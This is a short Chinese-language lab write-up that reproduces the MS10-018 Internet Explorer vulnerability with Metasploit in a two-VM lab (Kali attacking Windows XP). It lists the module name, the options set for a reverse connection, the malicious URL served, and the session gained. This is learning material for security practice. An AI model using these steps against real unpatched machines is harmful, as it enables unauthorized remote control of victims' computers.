ms10_018_ie_behaviors漏洞复现

ms10_018漏洞复现

漏洞介绍：ms10_018漏洞，它是IE浏览器漏洞，可以通过该漏洞获取目标主机的控制权。

00x01实验环境

两台虚拟机，一台为kali ip:192.168.72.4
一台为 Windows xp ip:192.168.72.6
使用的工具:msfconsole

00x02实验过程

1. 打开两台虚拟机，打开kali的msf软件，搜索ms10_018漏洞，找到两个模块
   

2. use第一个模块exploit/windows/browser/ms10_018_ie_behaviors
   

3. show options显示选项
   

4. 设置服务器为攻击机192.168.72.4、服务器端口为5555、接收主机为192.168.72.4、接收端口为6666
   

5. （可选）设置反向连接的payload为其他值（默认值有值，不做修改也可以），本次修改（不修改已经试过，可以用）
   

6. （可选）设置urlpath，设置web链接的目录名随意设置，这里的值为下面url中端口后的值（如果修改了，则url为http://192.168.72.4:5555/qwe）（不修改则为随机值）（本次未修改）
   

7. 运行exploit（run也可以），得到url:http://192.168.72.4:5555/iAUqTNwXCc0B
   

8. 在xp中打开刚刚得到的url,攻击机会得到反馈
   

9. 查看会话
   

10. 利用会话
    

11. 拿到主机权限